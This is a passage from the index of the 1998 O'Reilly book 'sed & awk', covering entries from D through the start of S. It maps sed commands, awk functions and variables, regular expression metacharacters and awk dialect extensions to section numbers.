for masterindex script : C.3. Documentation for masterindex
dollar sign ($) : 3.2. A Line-Up of Characters
for last input line : 4.2. A Global Perspective on Addressing
as metacharacter : 3.2.7. Positional Metacharacters
in multiline pattern space : 6.1.1. Append Next Line
DOS versions of awk : DOS Versions
dot (.) metacharacter
3.1. That's an Expression
3.2.2. A Wildcard
3.2.5. Repeated Occurrences of a Character
dynamic regular expressions : 11.1.5. Faking Dynamic Regular Expressions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: E

e (constant) : 9.1.1. Trigonometric Functions
-e option (sed)
2.3.1. Specifying Simple Instructions
2.3.2.3. Mixing options (POSIX)
ed editor : 2. Understanding Basic Operations
edits, pipelined : 4.4.4. Edits To Go
egrep program : 3. Understanding Regular Expression Syntax
else statements : (see if statements)
end
of line : (see $ (dollar sign))
of word : (see \<, \> escape sequences)
END procedure : 11.1.6. Control Flow
ENDFILE procedure (tawk) : 11.3.2.1. Tawk language extensions
"Ending delimiter missing" error : 2.3.1.1. Command garbled
ENVIRON variable
8.6. System Variables That Are Arrays
8.6.2. An Array of Environment Variables
environment variables : 8.6.2. An Array of Environment Variables
equal sign (=)
== (equal to) operator : 7.8. Relational and Boolean Operators
for printing line numbers : 5.9. Print Line Number
equivalence classes : 3.2.4.3. POSIX character class additions
EREs (extended regular expressions) : 3.2.4.3. POSIX character class additions
ERRNO variable (gawk) : 11.2.3.8. Additional variables
error messages
11.2.1.4. Special filenames
12.3.4. A Function for Reporting Errors
awk : 2.4.2. Error Messages
"command garbled"
2.3.1.1. Command garbled
5.1. About the Syntax of sed Commands
sed : 2.3.1.1. Command garbled
errors
debugging : 10.7. Debugging
spelling, finding (example) : 12.1. An Interactive Spelling Checker
ESC character in vi : 5.6. List
escape sequences, awk
7.6. Expressions
11.1.1. Escape Sequences
B.2.5.2. Escape sequences
escaping : (see backslash)
example programs : Sample Programs
exchange command : (see x command (sed))
exclamation point (!) : 4.2. A Global Perspective on Addressing
!= (not equal to) operator : 7.8. Relational and Boolean Operators
!~ (does not match) operator
7.5.1. Referencing and Separating Fields
7.8. Relational and Boolean Operators
csh and : 1.4. Four Hurdles to Mastering sed and awk
logical NOT operator : 7.8. Relational and Boolean Operators
tilde (~) operator : 7.5.1. Referencing and Separating Fields
exit statement : 8.3. Other Statements That Affect Flow Control
exp() : 9.1.1. Trigonometric Functions
exponentiation
7.6. Expressions
9.1.1. Trigonometric Functions
11.1.2. Exponentiation
** operator : 7.6. Expressions
^ operator : 7.6. Expressions
expressions
3.1. That's an Expression
B.2.5. Expressions
awk : 7.6. Expressions
executing as commands : 10.3. The system() Function
regular : (see regular expressions)
extended regular expressions (EREs) : 3.2.4.3. POSIX character class additions
extensions
common awk : 11.2.1. Common Extensions
gawk : 11.2.3. GNU awk (gawk)
mawk : 11.2.4. Michael's awk (mawk)
tawk : 11.3.2. Thompson Automation awk (tawk)
extent of matching : 3.2.12.1. The extent of the match
extracting file contents : 4.4.3. Extracting Contents of a File

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: F

-f option (awk)
9.3.2. Maintaining a Function Library
11.2.3.1. Command line options
-f option (sed)
2.2. Command-Line Syntax
2.3.2. Script Files
2.3.2.3. Mixing options (POSIX)
-F option (awk)
2.4.1. Running awk
7.5.1. Referencing and Separating Fields
factorials : 8.2.4. Deriving Factorials
faking dynamic regular expressions : 11.1.5. Faking Dynamic Regular Expressions
FAQ on awk : Other Sources of Information About sed and awk
fflush() : 11.2.1.3. Flushing buffered output
field separators : (see delimiters)
fields for awk records
2.4.1. Running awk
7.5. Records and Fields
B.2.1. Records and Fields
formatting as output : 7.9. Formatted Printing
NF variable : 7.7. System Variables
FIELDSWIDTHS variable (gawk) : 11.2.3.6. Separating fields
File Transfer Protocol (FTP) : FTP
files
closing
10.2. The close() Function
10.5.2. Working with Multiple Files
editing multiple : 4.4.2. Making Changes Across a Set of Files
extracting contents from : 4.4.3. Extracting Contents of a File
filenames, special : 11.2.1.4. Special filenames
getting information on : 7.8.1. Getting Information About Files
Interleaf, converting : 6.1.1.1. Converting an Interleaf file
multiple : 10.5.2. Working with Multiple Files
multiple edits to : 4.4.1. Multiple Edits to the Same File
nextfile statement : 11.2.1.5. The nextfile statement
reading from
5.11. Reading and Writing Files
10.1.1. Reading Input from Files
retrieving information from : 7.11. Information Retrieval
scripts as : (see scripts)
search path for : 11.2.3.2. An awk program search path
special gawk : 11.2.3.7. Additional special files
writing to
2.3.2.1. Saving output
5.11. Reading and Writing Files
10.5. Directing Output to Files and Pipes
fixed strings : 3.2.3. Writing Regular Expressions
flags : 5.3. Substitution
g (global)
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
numeric : 5.3. Substitution
p (print) : 5.3. Substitution
w (write) : 5.3. Substitution
flow control
6. Advanced sed Commands
6.3.3. Building Blocks of Text
11.1.6. Control Flow
branching : 6.4.1. Branching
d command (sed) : 5.4. Delete
n command : 5.10. Next
flushing buffers : 11.2.1.3. Flushing buffered output
FNR variable
7.7. System Variables
10.1.2. Assigning the Input to a Variable
for loop
8.2.3. For Loop
8.4.1. Associative Arrays
formatting
awk output : 7.9. Formatted Printing
awk scripts : B.2.2. Format of a Script
index (example program) : 12.2. Generating a Formatted Index
system time : 11.2.3.11. Time management for programmers
FPAT variable (tawk) : 11.3.2.1. Tawk language extensions
Free Software Foundation (FSF) : Availability of sed and awk
FS variable
7.5.1. Referencing and Separating Fields
7.5.2. Field Splitting: The Full Story
7.7. System Variables
11.2.1.2. Obtaining individual characters
FTP (File Transfer Protocol) : FTP
Ftpmail : Ftpmail
function keyword : 9.3. Writing Your Own Functions
functions
11.1.10. Functions
B.2.6. Statements and Functions
arithmetic
9.1. Arithmetic Functions
11.1.10. Functions
built-in
gawk : 11.2.3.9. Additional functions
tawk : 11.3.2.2. Additional built-in tawk functions
creating library of : 9.3.2. Maintaining a Function Library
scope control (tawk) : 11.3.2.1. Tawk language extensions
string-related : 9.2. String Functions
time-related (gawk) : 11.2.3.11. Time management for programmers
trigonometric : 9.1.1. Trigonometric Functions
user-defined : 9.3. Writing Your Own Functions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: G

g command (ed) : 2.1. Awk, by Sed and Grep, out of Ed
G command (sed)
6.3. Hold That Line
6.3.2. Correcting Index Entries (Part II)
g flag
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
gawk (GNU awk)
10.8. Limitations
11.2.3. GNU awk (gawk)
built-in functions : 11.2.3.9. Additional functions
built-in variables : 11.2.3.8. Additional variables
multiple files and : 10.5.2. Working with Multiple Files
generating random numbers : 9.1.3. Random Number Generation
gensub() : 11.2.3.10. A general substitution function
gent script : 13.7. gent - Get a termcap Entry
get command : (see G command (sed))
getline function : 10.4. A Menu-Based Command Generator
getline function
10.1. The getline Function
11.1.9. The getline Function
global
addressing : 4.2. A Global Perspective on Addressing
variables : 9.3. Writing Your Own Functions
global command : (see g command (ed))
glossary program (example) : 8.4.3. A Glossary Lookup Script
GNU awk : (see gawk)
GNU project : Availability of sed and awk
GNU sed, error messages : 2.3.1.1. Command garbled
greater than sign (>)
>= (greater than or equal to) operator : 7.8. Relational and Boolean Operators
for redirection
2.3.2.1. Saving output
4.3. Testing and Saving Output
10.5. Directing Output to Files and Pipes
relational operator : 7.8. Relational and Boolean Operators
grep utility
2.1. Awk, by Sed and Grep, out of Ed
4.4.2. Making Changes Across a Set of Files
gres program : 3.2.11. What's the Word? Part II
grouping operations : (see parentheses)
grouping sed commands
4.2.1. Grouping Commands
5.1. About the Syntax of sed Commands
gsub()
9.2. String Functions
9.2.3. Substitution Functions
11.2.3.10. A general substitution function

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: H

h command (sed)
6.3. Hold That Line
6.3.1. A Capital Transformation
H command : 6.3. Hold That Line
hexadecimal constants (tawk) : 11.3.2.1. Tawk language extensions
hexadecimal numbers : 7.6. Expressions
hiding special characters : 12.3.1. How to Hide a Special Character
hold command
6.3.2. Correcting Index Entries (Part II)
(see h command (sed); H command (sed))
hold space
6.3. Hold That Line
(see also pattern space)
hyphen (-)
-= (assignment) operator : 7.6. Expressions
-- (decrement) operator : 7.6. Expressions
character classes and : 3.2.4.1. A range of characters
subtraction operator : 7.6. Expressions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: I

i command (sed) : 5.5. Append, Insert, and Change
I/O : (see input; output)
if statements : 8.1. Conditional Statements
IGNORECASE variable (gawk) : 11.2.3.8. Additional variables
in operator
8.4.2. Testing for Membership in an Array
11.1.8. Arrays
increment (++) operator : 7.6. Expressions
index()
9.2. String Functions
9.2.1. Substrings
index, array
8.4. Arrays
8.4.1. Associative Arrays
index, formatting (example program) : 12.2. Generating a Formatted Index
INIT procedure (tawk) : 11.3.2.1. Tawk language extensions
input : 2.2. Command-Line Syntax
assigning to variables : 10.1.2. Assigning the Input to a Variable
getline function : 10.1. The getline Function
insert command : (see i command (sed))
instructions, awk : 2.4.1. Running awk
int() : 9.1.2. Integer Function
Interleaf files, converting : 6.1.1.1. Converting an Interleaf file

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: K

Korn shell : DOS Versions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: L

l command (sed) : 5.6. List
labels : 6.4. Advanced Flow Control Commands
length()
9.2. String Functions
9.2.2. String Length
length, string : 9.2.2. String Length
less than sign (<)
<= (less than or equal to) operator : 7.8. Relational and Boolean Operators
relational operator : 7.8. Relational and Boolean Operators
library of functions : 9.3.2. Maintaining a Function Library
limitations to awk : 10.8. Limitations
limiting the match extent : 3.2.13. Limiting the Extent
line addresses
2.1. Awk, by Sed and Grep, out of Ed
4.2. A Global Perspective on Addressing
5.1. About the Syntax of sed Commands
printing with = : 5.9. Print Line Number
line editors : 2.1. Awk, by Sed and Grep, out of Ed
lines
continuing after breaks : 11.2.3.3. Line continuation
deleting
2.1. Awk, by Sed and Grep, out of Ed
5.4. Delete
matching over multiple : 3.2.7.1. Phrases
matching start/end of
3.2.7. Positional Metacharacters
3.2.11. What's the Word? Part II
parsing : (see parsing)
reading as input : 10.1. The getline Function
terminating : B.2.2.1. Line termination
--lint, --lint-old options (gawk) : 11.2.3.1. Command line options
list command : (see l command (sed))
local variables : 9.3. Writing Your Own Functions
log() : 9.1.1. Trigonometric Functions
logging, timestamp with : 11.2.3.11. Time management for programmers
logical AND (&&) operator : 7.8. Relational and Boolean Operators
logical NOT (!) operator : 7.8. Relational and Boolean Operators
logical OR (||) operator : 7.8. Relational and Boolean Operators
loops
7.3. Awk's Programming Model
8.2. Looping
arrays and : 8.4. Arrays
main input loop : 7.3. Awk's Programming Model
lowercase : (see capitalization)
ls command (UNIX) : 7.8.1. Getting Information About Files

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: M

m1 script (example) : 13.10. m1 - Simple Macro Processor
mailavg script (example) : 13.4. mailavg - Check Size of Mailboxes
main input loop : 7.3. Awk's Programming Model
masterindex script (example) : C.2. Listing of masterindex Shell Script
match (~) operator
7.5.1. Referencing and Separating Fields
7.8. Relational and Boolean Operators
match()
9.2. String Functions
9.2.5. The match() Function
matching : (see pattern matching)
math : (see arithmetic functions; arithmetic operators; numbers)
mawk (Michael's awk)
10.8. Limitations
11.2.4. Michael's awk (mawk)
membership in arrays : 8.4.2. Testing for Membership in an Array
menu-based command generator (example) : 10.4. A Menu-Based Command Generator
metacharacters
3. Understanding Regular Expression Syntax
3.2. A Line-Up of Characters
* (asterisk)
3.1. That's an Expression
3.2.5. Repeated Occurrences of a Character
\ (backslash)
3.2. A Line-Up of Characters
3.2.1. The Ubiquitous Backslash
\{\}
3.2. A Line-Up of Characters
3.2.8. A Span of Characters
[] (brackets)
3.2. A Line-Up of Characters
3.2.4. Character Classes
^ (circumflex)
3.2. A Line-Up of Characters
3.2.4.2. Excluding a class of characters
$ (dollar sign)
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
. (dot)
3.1. That's an Expression
3.2.2. A Wildcard
3.2.5. Repeated Occurrences of a Character
+ (plus)
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
7.4. Pattern Matching
? (question mark)
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
| (vertical bar)
3.2. A Line-Up of Characters
3.2.9. Alternative Operations
\> (end of word)
3.2.11. What's the Word? Part II
11.2.3.4. Extended regular expressions
\< (start of word)
3.2.11. What's the Word? Part II
11.2.3.4. Extended regular expressions
awk regular expression : B.2.4. Regular Expressions
inside brackets : 3.2.4. Character Classes
replacement : 5.3.1. Replacement Metacharacters
sed regular expression : A.2.2. Regular Expression Metacharacters for sed
-mf option (awk) : 10.8. Limitations
Michael's awk : (see mawk)
MKS awk : 11.3.1. MKS awk
MKS Toolkit : DOS Versions
modularization : 10.7.3. Finding Out Where the Problem Is
modulo (%) operator : 7.6. Expressions
-mr option (awk) : 10.8. Limitations
multidimensional arrays : 8.5.1. Multidimensional Arrays
tawk and : 11.3.2.1. Tawk language extensions
multiline
delete command : (see D command (sed))
matching : 3.2.7.1. Phrases
next command (sed) : (see N command (sed))
pattern space : 6.1. Multiline Pattern Space
print command : (see P command (sed))
records, awk : 7.7.1. Working with Multiline Records
multiple
awk commands : 2.4.1. Running awk
character ranges : 3.2.4.1. A range of characters
conditional statements : 8.1. Conditional Statements
edits to one file : 4.4.1. Multiple Edits to the Same File
files
4.4.2. Making Changes Across a Set of Files
10.5.2. Working with Multiple Files
multiplication (*) operator : 7.6. Expressions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: N

n command (sed) : 5.10. Next
N command (sed) : 6.1.1. Append Next Line
with P and D commands : 6.1.3. Multiline Print
\n escape sequence : 6.1.1. Append Next Line
-n option (sed)
2.3.2.2. Suppressing automatic display of input lines
5.2. Comment
names
filenames, special
11.2.1.4. Special filenames
11.2.3.7. Additional special files
script files : 2.2. Command-Line Syntax
nawk : 2.1. Awk, by Sed and Grep, out of Ed
nested conditional statements : 8.1. Conditional Statements
newline characters
3.2. A Line-Up of Characters
3.2.7. Positional Metacharacters
5.3. Substitution
11.2.3.3. Line continuation
. (dot) and : 3.2.2. A Wildcard
multiline pattern space and : 6.1. Multiline Pattern Space
ORS variable for
7.7. System Variables
7.7.1. Working with Multiline Records
in replacement strings : 5.3.1. Replacement Metacharacters
RS variable for
7.7. System Variables
11.2.1.6. Regular expression record separators (gawk and mawk)
11.3.2.1. Tawk language extensions
newsgroup, awk : Other Sources of Information About sed and awk
next command (sed) : (see n command (sed); N command (sed))
next statement (awk)
8.3. Other Statements That Affect Flow Control
10.1. The getline Function
(see also getline function)
nextfile statement : 11.2.1.5. The nextfile statement
NF variable
7.7. System Variables
10.1.2. Assigning the Input to a Variable
non-English characters : 3.2.4.3. POSIX character class additions
NOT (!) operator : 7.8. Relational and Boolean Operators
NR variable
7.7. System Variables
8.4. Arrays
10.1.2. Assigning the Input to a Variable
nroff, stripping non-printable characters : 5.6.1. Stripping Out Non-Printable Characters from nroff Files
numbered replacement strings : 5.3.1. Replacement Metacharacters
numbers
arithmetic functions
9.1. Arithmetic Functions
11.1.10. Functions
comparing (relationship operators) : 7.8. Relational and Boolean Operators
converting to strings : 7.7. System Variables
factorials : 8.2.4. Deriving Factorials
hexadecimal
7.6. Expressions
11.3.2.1. Tawk language extensions
limitations on : 10.8. Limitations
octal : 7.6. Expressions
output precision : 7.9. Formatted Printing
random : 9.1.3. Random Number Generation
truncating : 9.1.2. Integer Function
numeric flags : 5.3. Substitution

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: O

obtaining
awk source code : Availability of sed and awk
commercial awk versions
11.3.1. MKS awk
11.3.2. Thompson Automation awk (tawk)
11.3.3. Videosoft VSAwk
examples : Obtaining Example Source Code
gawk source code : 11.2.3. GNU awk (gawk)
mawk source code : 11.2.4. Michael's awk (mawk)
sample programs : Sample Programs
sed source code : Availability of sed and awk
octal numbers : 7.6. Expressions
octothorpe (#) for comments
5.2. Comment
7.4.1. Describing Your Script
B.2.2.2. Comments
#n for suppressing output : 5.2. Comment
OFMT variable
7.7. System Variables
7.9. Formatted Printing
OFS variable : 7.7. System Variables
operators, awk : B.2.5.6. Operators
arithmetic : 7.6. Expressions
assignment : 7.6. Expressions
Boolean : 7.8. Relational and Boolean Operators
postfix versus prefix : 7.6. Expressions
relational : 7.8. Relational and Boolean Operators
options
2.2. Command-Line Syntax
2.3.1. Specifying Simple Instructions
(see also under specific option)
awk : 2.4.3. Summary of Options
combining : 2.3.2.3. Mixing options (POSIX)
sed : 2.3.2.4. Summary of options
OR (||) operator : 7.8. Relational and Boolean Operators
order of operations : 3.1. That's an Expression
commands in scripts : 4.1. Applying Commands in a Script
ORS variable
7.7. System Variables
7.7.1. Working with Multiline Records
output : 2.2. Command-Line Syntax
buffer, flushing : 11.2.1.3. Flushing buffered output
directing to files
2.3.2.1. Saving output
10.5. Directing Output to Files and Pipes
directing to pipes : 10.5.1. Directing Output to a Pipe
formatting (awk) : 7.9. Formatted Printing
formatting into columns : 10.6. Generating Columnar Reports
saving : 4.3. Testing and Saving Output
suppressing
2.3.2.2. Suppressing automatic display of input lines
5.2. Comment
testing : 4.3. Testing and Saving Output
to terminal : 11.2.1.4. Special filenames

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: P

p command (sed) : 5.8. Print
P command (sed) : 6.1.3. Multiline Print
with N and D commands : 6.1.3. Multiline Print
p flag : 5.3. Substitution
parameters, function : 9.3. Writing Your Own Functions
parameters, script : 7.10. Passing Parameters Into a Script
parentheses ()
2.2.1. Scripting
3.2. A Line-Up of Characters
3.2.10. Grouping Operations
with replacing text : 5.3.1. Replacement Metacharacters
parsing : 2.1. Awk, by Sed and Grep, out of Ed
referencing fields
2.4.1. Running awk
7.5.1. Referencing and Separating Fields
strings into array elements
8.4.4. Using split() to Create Arrays
11.2.1.2. Obtaining individual characters
pattern addressing
2.1. Awk, by Sed and Grep, out of Ed
A.2.1. Pattern Addressing
pattern matching
1.3. A Pattern-Matching Programming Language
1.4. Four Hurdles to Mastering sed and awk
2.2.1. Scripting
(see also regular expressions)
in awk : 7.4. Pattern Matching
closure : 3.2.5. Repeated Occurrences of a Character
extent of match : 3.2.12.1. The extent of the match
fixed strings : 3.2.3. Writing Regular Expressions
metacharacters for : (see metacharacters)
over multiple lines : 3.2.7.1. Phrases
phrases : 3.2.7.1. Phrases
at start/end of words : 3.2.11. What's the Word? Part II
pattern space
4.1.1. The Pattern Space
6.3. Hold That Line
(see also hold space)
deleting contents of : (see d command (sed))
displaying : (see l command (sed))
inputing file into : (see reading from files)
insert and append commands and : 5.5. Append, Insert, and Change
multiline : 6.1. Multiline Pattern Space
patterns
2.1. Awk, by Sed and Grep, out of Ed
2.2.1. Scripting
B.2.3. Patterns
PCs : DOS Versions
percent sign (%)
%= (assignment) operator : 7.6. Expressions
for format specifications : 7.9. Formatted Printing
modulo operator : 7.6. Expressions
phonebill script (example) : 13.2. phonebill - Track Phone Usage
phrase script (example) : 6.5. To Join a Phrase
phrases : 3.2.7.1. Phrases
pipelined edits : 4.4.4. Edits To Go
pipes
closing : 10.2. The close() Function
directing output to : 10.5.1. Directing Output to a Pipe
limitations on : 10.8. Limitations
reading input from : 10.1.3. Reading Input from a Pipe
plpr script (example) : 13.8. plpr - lpr Preprocessor
plus (+)
+= (assignment) operator : 7.6. Expressions
++ (increment) operator : 7.6. Expressions
addition operator : 7.6. Expressions
metacharacter : 7.4. Pattern Matching
as metacharacter
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
positional metacharacters : 3.2.7. Positional Metacharacters
POSIX
awk : (see awk)
character class additions
3.2.4.2. Excluding a class of characters
B.2.4. Regular Expressions
character classes standard : 3.2.4.3. POSIX character class additions
option conbinations, standard for : 2.3.2.3. Mixing options (POSIX)
regular expressions standard : 3.2.4.3. POSIX character class additions
standard for labels : 6.4. Advanced Flow Control Commands
--posix option (gawk) : 11.2.3.1. Command line options
postfix operators : 7.6. Expressions
precedence, operation
3.1. That's an Expression
B.2.5.6. Operators
precision modifier : 7.9. Formatted Printing
prefix operators : 7.6. Expressions
print command (sed) : (see p command; P command)
print statement (awk)
2.1. Awk, by Sed and Grep, out of Ed
7.2. Hello, World
10.5. Directing Output to Files and Pipes
printerr()
11.2.1.4. Special filenames
12.3.4. A Function for Reporting Errors
printf statement
7.9. Formatted Printing
10.5. Directing Output to Files and Pipes
printing
formatting output (awk) : 7.9. Formatted Printing
line addresses with = : 5.9. Print Line Number
procedures
2.2.1. Scripting
2.4.1. Running awk
PROCINFO array (gawk) : 11.2.3.7. Additional special files
programming
awk, model for : 7.3. Awk's Programming Model
sed, tips for : 4.5. Getting to the PromiSed Land
prompts : 2.1. Awk, by Sed and Grep, out of Ed

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Q

q command (sed) : 5.12. Quit
question mark (?)
?: (conditional) operator
8.1.1. Conditional Operator
11.1.3. The C Conditional Expression
as metacharacter
3.2. A Line-Up of Characters
3.2.5. Repeated Occurrences of a Character
quit command : (see q command (sed))
quotation marks (')
2.2. Command-Line Syntax
2.3.1. Specifying Simple Instructions

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: R

r command (sed) : 5.11. Reading and Writing Files
rand() : 9.1.3. Random Number Generation
random numbers : 9.1.3. Random Number Generation
range of characters : (see character classes)
--re-interval option (gawk) : 11.2.3.1. Command line options
read command : (see r command (sed))
reading : 10.1. The getline Function
from files
5.11. Reading and Writing Files
10.1.1. Reading Input from Files
from pipe : 10.1.3. Reading Input from a Pipe
readsource script (example) : 13.6. readsource - Format Program Source Files for troff
RECLEN variable (tawk) : 11.3.2.1. Tawk language extensions
records, awk
2.4.1. Running awk
7.5. Records and Fields
B.2.1. Records and Fields
arrays and : 8.4. Arrays
fixed-length (tawk) : 11.3.2.1. Tawk language extensions
multiline : 7.7.1. Working with Multiline Records
NF variable : 7.7. System Variables
NR variable
7.7. System Variables
8.4. Arrays
10.1.2. Assigning the Input to a Variable
RT variable (gawk) : 11.2.3.5. Regular expression record terminators
separators for : (see delimiters)
redirection
2.3.2.1. Saving output
4.3. Testing and Saving Output
10.5. Directing Output to Files and Pipes
references : Other Sources of Information About sed and awk
referencing fields
2.4.1. Running awk
7.5.1. Referencing and Separating Fields
regular expressions
1.4. Four Hurdles to Mastering sed and awk
3. Understanding Regular Expression Syntax
B.2.3. Patterns
B.2.4. Regular Expressions
(see also pattern matching)
as constants : 7.8. Relational and Boolean Operators
delimiters for
2.1. Awk, by Sed and Grep, out of Ed
5.3. Substitution
dynamic, faking : 11.1.5. Faking Dynamic Regular Expressions
ed and : 2.1. Awk, by Sed and Grep, out of Ed
examples of : 3.3. I Never Metacharacter I Didn't Like
gawk extensions to : 11.2.3.4. Extended regular expressions
metacharacters for : (see netacharacters)
POSIX standard for : 3.2.4.3. POSIX character class additions
RS variable as
11.2.1.6. Regular expression record separators (gawk and mawk)
11.3.2.1. Tawk language extensions
tawk and : 11.3.2.1. Tawk language extensions
union of
3.2. A Line-Up of Characters
3.2.9. Alternative Operations
writing : 3.2.3. Writing Regular Expressions
relational expressions : B.2.3. Patterns
relational operators : 7.8. Relational and Boolean Operators
replacement metacharacters : 5.3.1. Replacement Metacharacters
numbered saves : 5.3.1. Replacement Metacharacters
replacing text
1.2. A Stream Editor
3.2.12.1. The extent of the match
retrieving data from files : 7.11. Information Retrieval
return statement
9.3. Writing Your Own Functions
9.3.1. Writing a Sort Function
revision control systems : 10.7.1. Make a Copy
RS variable : 7.7. System Variables
regular expression for
11.2.1.6. Regular expression record separators (gawk and mawk)
11.3.2.1. Tawk language extensions
RT variable (gawk) : 11.2.3.5. Regular expression record terminators
rules, pattern-matching : (see pattern matching)

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: S

s command (ed) : 2.1. Awk, by Sed and Grep, out of Ed
s command (sed) : 5.3. Substitution
sample programs : Sample Programs
saving output
2.3.2.1. Saving output
4.3. Testing and Saving Output
10.5. Directing Output to Files and Pipes
scope control (tawk) : 11.3.2.1. Tawk language extensions
scripts
